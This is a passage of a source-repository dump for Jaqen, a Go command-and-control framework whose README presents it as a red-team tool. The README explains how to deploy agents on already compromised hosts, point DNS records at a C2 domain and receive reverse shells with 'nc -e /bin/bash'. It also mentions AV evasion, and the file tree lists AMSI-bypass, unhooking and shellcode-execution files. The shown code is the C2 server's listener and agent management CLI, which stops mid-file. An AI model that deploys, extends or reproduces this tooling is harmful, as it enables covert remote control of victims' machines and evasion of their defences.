├── .gitignore ├── Jaqen.go ├── Readme.md ├── cli ├── Readme.md ├── cli.go └── state.go ├── libJaqen ├── agent │ ├── HandySnippets │ │ ├── amsibypass.ps1 │ │ ├── scriptblockbypass.ps1 │ │ └── unhook │ │ │ └── unhook.go │ ├── agent.go │ └── exec │ │ ├── shellcode.go │ │ └── shellcode_windows.go └── server │ ├── agentGeneration.go │ ├── interface.go │ ├── listeners │ ├── dnsListener │ │ ├── bashdnsagent.sh │ │ ├── dns.go │ │ ├── dnsagent.go │ │ ├── dnsagent.ps1 │ │ └── dnscommandManager.go │ ├── encryptedDNSListener │ │ ├── encryptedDNS.go │ │ ├── encryptedDNSAgent.go │ │ ├── encryptedDNSAgent.ps1 │ │ └── encryptedDNSCommandManager.go │ └── tcpListener │ │ ├── agent.go │ │ ├── tcp.go │ │ └── tcpAgent.go │ ├── server.go │ └── util │ └── util.go └── test └── crypto_test.go /.gitignore: -------------------------------------------------------------------------------- 1 | logs.txt 2 | dev -------------------------------------------------------------------------------- /Jaqen.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "math/rand" 5 | "time" 6 | 7 | //_ "net/http/pprof" 8 | 9 | "github.com/c-sto/Jaqen/cli" 10 | "github.com/fatih/color" 11 | ) 12 | 13 | func main() { 14 | 15 | color.New().Println(`....''.....'''''''''''''......'''''';o0KK00OOOkkkk 16 | ''''''''''''''''..'...'''''''''''''';oOKK00OOOOkkk 17 | .'''''''''''''''........'''...'''..';oOKK0OOOOOOkk 18 | ..........''''.....'''''.......'''..,oOKK0OOOOOOOO 19 | ............... 'lxkkkkxolc,...,,,'..:k000OOOOOOOO 20 | .............. .lxkkOOkkdddc'...'','..lO00OOOOOOOO 21 | ............. 'loddxxxxdddo;. ...';'..oOOOkOOOkkO 22 | ...''''...... 'lodxxdddoool;. ...,;..'dOOOOOkkkk 23 | ''''''''''... .;;;col:,;;;,.. .''.,'..,dOOOOkkkk 24 | ''''''''''.. .''.cxo:,;:;'.. .';;;;'..;xOOkkxxx 25 | ''''''''''.. .;:lkkxolllooo:. ..,:::;...lkOOkxdx 26 | ''''''''''.. .:lodxdodxxxdoc....;cl:,...'dOkkxdd 27 | '''..'''''.. 'cc;;:lodddol;...':ld:.....ckkkxdd 28 | '''''...'... .;;,,;::clll;'..';:od:'...'lkOOkxd 29 | ''''''''.... .;;,;ccllc;,...,,,:ll::'.,lxkOkxd 30 | '''''''''... .;:clllc:,....',,'':ll:,,:lxkkxd 31 | ''''',,''''... .',;,'.........'..,ll;,:ccdkkxx 32 | ,,',,,,,'''.... .''..'',,.. .'..',,,:odxkxxd 33 | '''''',,,,'... .,:::c:;,'. .....,cxkOOOkxxdo 34 | .'''''''''''.... ..';::::,,,.. .':okO00KKK0Okxo 35 | '',,,,''........ ..',,,;;;::;;:;;cdkO000000KKK0ko 36 | ',;;;;,,''........'';;;;::cc::cllodxkOO0KKKKKKKKKk 37 | ,,;;;;;,,'''''',;;;::;::ccc:clclooxkkkkOO00KKXXKKK 38 | ',,,,,;,,'',,,,cocc::cccc::lolooooc:;,;;::cok0KKKK 39 | ',,,',,,,''',,:odoccccclccldodoc;...'';;,''';lOKKK`) 40 | color.New().Println(randomQuote()) 41 | 42 | cli.Shell() 43 | 44 | } 45 | 46 | func randomQuote() string { 47 | rand.Seed(time.Now().UnixNano()) 48 | q := []string{ 49 | "Valar morghulis", 50 | } 51 | return q[rand.Intn(len(q))] 52 | } 53 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # Jaqen 2 | 3 | Extensible Golang C2. Primary focus is using novel C2 channels. 4 | 5 | ## Installation 6 | 7 | Minimum Go version of 1.10 (may work on earlier versions too I guess) 8 | 9 | ``` 10 | go get -u github.com/c-sto/jaqen 11 | ``` 12 | 13 | Alternatively: 14 | 15 | ``` 16 | cd $GOPATH/src/github.com/ 17 | mkdir c-sto 18 | cd c-sto 19 | git clone https://github.com/c-sto/Jaqen 20 | cd Jaqen 21 | go get . 22 | go run Jaqen.go 23 | ``` 24 | 25 | ## Usage 26 | 27 | Create a listener, set the listener settings, and generate an agent to deploy onto your already compromised host. 28 | 29 | There are two listeners included - DNS and TCP. Additional listeners will be added in time, but they are intended to only be a template. Successful red teaming will require custom listeners/agents to achieve objectives. Basic AV evasion techniques are displayed in the DNS golang agent. 30 | 31 | ### DNS 32 | 33 | To set a DNS listener, you must have the ability to set records for the domain of choice. 34 | 35 | - Set an A record pointing to the server you are running the jaqen listener on. This must be an externally accessible location, as it's likely that intermediate nameservers will be querying rather than the client (`c1.supershady.ru -> 8.8.8.8`) 36 | - Set a NS record pointing to the A record (`c2.supershady.ru -> c1.supershady.ru`) 37 | - Set the 'domain' setting on the listener to the NS record (`set domain c2.supershady.ru`) 38 | 39 | **IMPORTANT NOTE** Using the default DNS listener, all traffic is _unencryped_ and will be traversing across potentially uncontrolled networks. The responses are literally just hex encoded and smashed onto a subdomain. Stay tuned for an encrypted version. Please don't send/receive anything sensitive over this channel. 40 | 41 | ## Custom Listener 42 | 43 | The listener plugs into the main C2 that you control via the CLI. The listener simply has to conform to the 'Listener' interface. The interface can be seen in the [interface](libJaqen/server/interface.go) source file. Any 'struct' type that implements every one of the functions defined in the interface will conform to the interface, and you will be able to add it to the [cli](cli/cli.go) file. 44 | 45 | ### Events 46 | 47 | Events are passed back to the cli/server via channels - they are defined in the [interface](libJaqen/server/interface.go) file. The bare minimum required is to pass a uid back to the cli on checkin, and ideally some sort of response confirmation if a command has been executed, but the only limit is your creativity. Checkins _can_ have extra data (OS, agent type etc), but the only required field is the UID. Listeners handle their own agent UID's. 48 | 49 | ### Agents 50 | 51 | Agents can do whatever you'd like. The DNS listener has bash, powershell, and golang agents provided as an example of how flexible it can be. The TCP listener can be used by simply sending a regular revese shell back (`metasploit shell_reverse_tcp`, `nc -e /bin/bash`, etc). Templating is encouraged to allow settings to be passed to agents. See the DNS listener for examples. 52 | 53 | 54 | ## Thanks 55 | 56 | Inspiration for this was taken from merlin, http/2 c2 built by Ne0nD0g. Please go and look at it, it's very good. 57 | https://github.com/Ne0nD0g/merlin 58 | 59 | Thanks to all the 'beta' testers at Hivint, Asterisk and Bishop Fox. Putting up with my janky on the spot 'please git pull now' fixes is the most hacker thing anyone can do. -------------------------------------------------------------------------------- /cli/Readme.md: -------------------------------------------------------------------------------- 1 | # Server CLI 2 | 3 | Basic structure (intend to update this, but it will probably get left l0l) (x indicates done/working) 4 | 5 | ``` 6 | Main 7 | |-Exit (Exits the Server, shuts down agents etc) X 8 | | 9 | |-Listeners (Listener management) X 10 | | |-Create (Add new listener) X 11 | | |-Interact (Edit selected listener) 12 | | | |-Add (Add listener to list) 13 | | | |-Set (Set options) 14 | | | |-Show (Show options) 15 | | | |-Start (Start and add to list) 16 | | | |-Back (don't add to list) 17 | | |-Delete (Delete current listener) 18 | | |-Show (Show current listeners) 19 | | |-Stop (Stop listener) 20 | | 21 | |-Agents (Agent Management) X 22 | | |-Show (Show current agents) X 23 | | |-Generate (Create an agent(undecided if this should be a feature)) 24 | | | |-Set (Set options) 25 | | | |-Show [options/info] 26 | | | |-Generate 27 | | |-Set (set agent options, output location etc) 28 | | |-Interact (Interact with an agent) X 29 | | | |-Exec (command execution) X 30 | | | | |-Send command (Send a command to an agent) 31 | | | | |-Send shellcode (Send shellcode to an agent) 32 | | | |-Show output (Show log of agent historic output) 33 | | | |-Kill (Kill the agent) 34 | | |-Back 35 | | 36 | |-Version (Version info) X 37 | |-Status (Show current agents, current listeners) 38 | ``` -------------------------------------------------------------------------------- /cli/cli.go: -------------------------------------------------------------------------------- 1 | package cli 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "strings" 7 | 8 | //. "github.com/c-sto/Jaqen" 9 | "github.com/c-sto/Jaqen/libJaqen/server" 10 | "github.com/c-sto/Jaqen/libJaqen/server/listeners/dnsListener" 11 | "github.com/c-sto/Jaqen/libJaqen/server/listeners/encryptedDNSListener" 12 | "github.com/c-sto/Jaqen/libJaqen/server/listeners/tcpListener" 13 | "github.com/c-sto/readline" 14 | "github.com/fatih/color" 15 | ) 16 | 17 | var state cliState 18 | 19 | var definedListeners = map[string]server.Listener{ 20 | //add listener here once written 21 | "dns": &dnsListener.JaqenDNSListener{}, 22 | "secure-dns": &encryptedDNSListener.JaqenEncryptedDNSListener{}, 23 | "tcp": &tcpListener.JaqenTCPListener{}, 24 | } 25 | 26 | func DoTest() { 27 | /* 28 | l := dnsListener.JaqenDNSListener{} 29 | state.localServer.AddListener(&l) 30 | //fmt.Println(s.GetOptions("dns")(""")) 31 | state.localServer.SetOption("dns", "domain", "c2.supershady.ru") 32 | fmt.Println(state.localServer.GetOption("dns", "domain")) 33 | fmt.Println(state.localServer.Start("dns")) 34 | state.localServer.GenerateAgent("dns", "powershell") 35 | state.selectedListener = "dns" 36 | state.SetContext("listenerinteract", "Listeners>Interact[dns]") 37 | */ 38 | /* 39 | t := tcpListener.JaqenTCPListener{} 40 | state.localServer.AddListener(&t) 41 | state.localServer.SetOption("tcp", "port", "4444") 42 | state.localServer.Start("tcp") 43 | //*/ 44 | } 45 | 46 | func printVersion() string { 47 | 48 | return "0.0.2" 49 | } 50 | 51 | func printStatus() string { 52 | return "NO" 53 | } 54 | 55 | // Shell is the exported function to start the command line interface 56 | func Shell() { 57 | 58 | state = cliState{}.New() 59 | state.SetContext("main", "") 60 | 61 | DoTest() 62 | 63 | defer state.CloseReadline() 64 | 65 | for { 66 | line, err := state.ReadLine() // rl.Readline() 67 | if err != nil { 68 | break 69 | } 70 | if len(line) < 1 { 71 | continue 72 | } 73 | line = strings.TrimSpace(line) 74 | 75 | cmd := strings.Fields(line) 76 | keyVal := strings.ToLower(cmd[0]) 77 | switch strings.ToLower(state.GetContext()) { 78 | case "main": 79 | switch keyVal { 80 | case "exit": 81 | exit() 82 | case "listeners": 83 | state.SetContext("Listeners", "Listeners") 84 | case "agents": 85 | state.SetContext("Agents", "Agents") 86 | case "version": 87 | printVersion() 88 | case "status": 89 | printStatus() 90 | } 91 | case "listeners": 92 | switch keyVal { 93 | case "create": 94 | state.SetContext("listenercreate", "Listeners>Create") 95 | case "interact": 96 | //require more than 0 args 97 | if len(cmd) != 2 { 98 | fmt.Println("Interact ") 99 | continue 100 | } 101 | state.selectedListener = cmd[1] 102 | state.SetContext("listenerinteract", fmt.Sprintf("Listeners>Interact[%s]", yellow(state.selectedListener))) 103 | case "delete": 104 | if len(cmd) > 1 { 105 | state.localServer.RemoveListener(cmd[1]) 106 | } 107 | case "show": 108 | //get all listeners 109 | x := state.localServer.GetListeners() 110 | for _, y := range x { 111 | opts := "" 112 | for k, v := range y.Options { 113 | opts += fmt.Sprintf(" %s=%s", k, v) 114 | } 115 | fmt.Printf("Name: %s Running: %v Options: %s\n", y.Name, y.Running, opts) 116 | } 117 | case "stop": 118 | if len(cmd) > 1 { 119 | //todo: check listener exists 120 | state.localServer.StopListener(cmd[1]) 121 | } 122 | case "back": 123 | state.SetContext("main", "") 124 | } 125 | case "listenercreate": //select listener to create (select listener type) 126 | switch keyVal { 127 | default: 128 | if _, ok := definedListeners[keyVal]; ok { 129 | state.selectedListenerType = keyVal 130 | state.tempListener = definedListeners[keyVal] 131 | 132 | n, e := state.localServer.AddListener(state.tempListener) 133 | if e != nil { 134 | fmt.Println(e) 135 | } 136 | state.tempListener = nil 137 | state.selectedListener = n 138 | state.SetContext("listenerinteract", fmt.Sprintf("Listeners>Interact[%s]", yellow(state.selectedListener))) 139 | } 140 | case "back": 141 | state.SetContext("Listeners", "Listeners") 142 | } 143 | 144 | case "listenerinteract": 145 | switch keyVal { 146 | case "start": 147 | e := state.localServer.Start(state.selectedListener) 148 | if e != nil { 149 | fmt.Println(e) 150 | } 151 | case "info": 152 | x, _ := state.localServer.GetOptions(state.selectedListener) 153 | fmt.Println(x("")) //wow this is hella gross. 154 | case "set": 155 | if len(cmd) == 3 { 156 | state.localServer.SetOption(state.selectedListener, strings.ToLower(cmd[1]), cmd[2]) 157 | } else { 158 | fmt.Println("Require 3 arguments: Set